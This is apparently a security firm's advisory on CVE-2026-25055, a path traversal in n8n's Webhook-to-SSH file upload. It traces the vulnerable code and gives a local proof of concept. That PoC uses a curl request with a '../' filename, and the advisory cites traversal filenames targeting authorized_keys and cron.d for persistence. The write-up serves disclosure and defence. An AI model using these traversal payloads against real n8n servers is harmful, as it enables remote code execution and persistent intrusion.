Skip to content
CVE-2026-25055: n8n Arbitrary File Write on Remote Systems via SSH Node

CVE-2026-25055: n8n Arbitrary File Write on Remote Systems via SSH Node

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • A path traversal vulnerability in n8n’s Webhook node allows attackers to write files to arbitrary locations on remote servers.
  • Impact is highest on n8n Cloud and public self-hosted instances.

Advisory#

Description#

A path traversal vulnerability in n8n’s Webhook node allows attackers to write files to arbitrary locations on remote servers. The node accepts filenames from multipart uploads and Content-Disposition headers without sanitization. When workflows forward uploaded files to the SSH node, the unsanitized filename gets concatenated into the destination path, allowing ../ sequences to escape the target directory.

An attacker who can reach a Webhook endpoint that uploads files via SSH can write files anywhere on the remote server. Filenames like ../../../.ssh/authorized_keys or ../../../etc/cron.d/backdoor lead to RCE or persistent access on any system the n8n instance has credentials for.

Source - Sink Analysis#

The vulnerability spans three components:

1. Entry Point - Webhook.node.ts: handleFormData() passes file.originalFilename directly to copyBinaryFile() without validation:

;<code class="hljs language-typescript">
  returnItem.<span class="hljs-property">binary</span>
  ![binaryPropertyName] ={' '}
  <span class="hljs-keyword">await</span> context.
  <span class="hljs-property">nodeHelpers</span>.
  <span class="hljs-title function_">copyBinaryFile</span>(
  file.<span class="hljs-property">filepath</span>, file.
  <span class="hljs-property">originalFilename</span> ??
  file.<span class="hljs-property">newFilename</span>, file.
  <span class="hljs-property">mimetype</span>, );
</code>

handleBinaryData() does the same with the Content-Disposition header:

;<code class="hljs language-typescript">
  <span class="hljs-keyword">const</span> fileName = req.
  <span class="hljs-property">contentDisposition</span>?.
  <span class="hljs-property">filename</span> ??{' '}
  <span class="hljs-title function_">uuid</span>();
  <span class="hljs-keyword">const</span> binaryData ={' '}
  <span class="hljs-keyword">await</span> context.
  <span class="hljs-property">nodeHelpers</span>.
  <span class="hljs-title function_">copyBinaryFile</span>(
  binaryFile.<span class="hljs-property">path</span>,
  fileName, req.
  <span class="hljs-property">contentType</span> ??{' '}
  <span class="hljs-string">
    'application/octet-stream'
  </span>
  , );
</code>

2. Storage - binary-helper-functions.ts: copyBinaryFile() stores the filename as-is:

<code class="hljs language-typescript"><span class="hljs-keyword">if</span> (fileName) {
    returnData.<span class="hljs-property">fileName</span> = fileName;
}
</code>

3. Sink - Ssh.node.ts: The upload operation concatenates the path:

;<code class="hljs language-typescript">
  <span class="hljs-keyword">await</span> ssh.
  <span class="hljs-title function_">putFile</span>(
  binaryFile.<span class="hljs-property">path</span>,
  <span class="hljs-string">
    `<span class="hljs-subst">${parameterPath}</span>
    <span class="hljs-subst">
      $
      {parameterPath.charAt(
        parameterPath.length -
        <span class="hljs-number">1</span>
      ) === <span class="hljs-string">'/'</span> ? (
        <span class="hljs-string">''</span>
      ) : (
        <span class="hljs-string">'/'</span>
      )}
    </span>
    <span class="hljs-subst">
      ${fileName || binaryData.fileName}
    </span>
    `
  </span>
  , );
</code>

With parameterPath set to /home/user/uploads/ and binaryData.fileName containing ../../../etc/cron.d/backdoor, the resolved path becomes /etc/cron.d/backdoor.

Proof of Concept#

1. Start an SSH server:

<code class="hljs language-bash">docker run -d --name ssh-test -p 2222:2222 \
  -e USER_NAME=testuser \
  -e USER_PASSWORD=test123 \
  -e PASSWORD_ACCESS=<span class="hljs-literal">true</span> \
  linuxserver/openssh-server
</code>

2. Create the target directory:

<code class="hljs language-bash">ssh testuser@localhost -p 2222 <span class="hljs-string">"mkdir -p /tmp/uploads"</span>
<span class="hljs-comment"># password: test123</span>
</code>

3. Start n8n:

<code class="hljs language-bash">npx n8n
</code>

4. Create the workflow in the n8n UI at http://localhost:5678:

  • Add a Webhook node (POST, path: test-upload) connected to an SSH node
  • SSH node settings: Resource: File, Operation: Upload, Input Binary Field: data, Target Directory: /tmp/uploads/
  • Create SSH credentials with host localhost, port 2222, user testuser, password test123
  • Activate the workflow

5. Send the malicious request:

<code class="hljs language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"PWNED"</span> > /tmp/testfile.txt
curl -X POST <span class="hljs-string">"http://localhost:5678/webhook/test-upload"</span> \
  -F <span class="hljs-string">"data=@/tmp/testfile.txt;filename=../pwned.txt"</span>
</code>

6. Confirm the file escaped:

<code class="hljs language-bash">ssh testuser@localhost -p 2222 <span class="hljs-string">"cat /tmp/pwned.txt"</span>
<span class="hljs-comment"># outputs "PWNED" - file landed in /tmp, not /tmp/uploads</span>
</code>

Impact#

Impact is highest on n8n Cloud and public self-hosted instances. Webhooks are designed to receive external traffic, and the URL only requires guessing a user-defined path like upload or files. No authentication is required by default.

n8n instances typically have SSH credentials to multiple servers for automation purposes. A single vulnerable workflow can compromise any server the instance can reach: deployment servers, databases, backup systems, CI/CD infrastructure.

Attackers can:

  • Write SSH authorized_keys for persistent access
  • Drop cron jobs or systemd services for code execution
  • Overwrite application configs to inject backdoors
  • Compromise any system the n8n instance has SSH credentials for
Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.